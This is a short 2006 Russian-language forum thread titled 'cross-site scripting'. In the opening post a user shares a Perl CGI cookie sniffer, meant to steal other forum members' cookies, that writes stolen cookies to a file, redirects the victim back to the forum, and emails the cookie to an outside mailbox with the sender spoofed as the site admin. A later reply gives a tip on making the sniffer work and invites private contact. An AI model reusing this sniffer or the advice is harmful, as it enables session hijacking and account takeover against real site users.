forum.blackdeath.ru

Служебные => По сайту => Тема начата: Yaruk7 от 06 04 2006, 00:17:49



Название: cross-site scripting
Отправлено: Yaruk7 от 06 04 2006, 00:17:49
а как наш форум реагирует на такое?

#!/usr/bin/perl

use CGI qw(:standard);

$cookie=$ENV{QUERY_STRING};
$file="cook.txt";
open (FILE, ">>$file");
print FILE "$cookie\n\n";
close(file);
$query = CGI::new();

print $query->redirect('http://blackdeath.ru/forum/index.php');
$mailprog = '/usr/sbin/sendmail';

$mail='yaruk7@mail.ru';
$target='admin@blackdeath.ru';
open (MAIL, "|$mailprog -t");
print MAIL "Content-Type: text/plain\n";
print MAIL "Subject: Fresh cookie\n";
print MAIL "To: $mail\n";
print MAIL "From: '.$target.'\n\n";
print MAIL "$cookie";
close (MAIL);


Название: cross-site scripting
Отправлено: thunder от 07 04 2006, 10:58:07
никак :) создает пустой файл соок.тхт и редиректит на форум


Название: cross-site scripting
Отправлено: Yaruk7 от 08 04 2006, 15:05:50
поидее редирект должен кидать пользователя на главную.. а вот почему он не заполняется куками я не наю  :nesnayu:


Название: Re: cross-site scripting
Отправлено: Я тебя искал от 30 10 2006, 04:10:17
а чего тут знать....
Чтобы этот снифер работал, нужно еще ему содержимое куков передавать как параметр...
Найди меня, обсудим, если интересно.


Название: Re: cross-site scripting
Отправлено: Xantez от 30 10 2006, 13:06:44
Глаза поломал, пока читал )


Название: Re: cross-site scripting
Отправлено: Adel Sagae от 30 10 2006, 19:52:50
Глаза поломал, пока читал )
А я ещ и мозги  ;D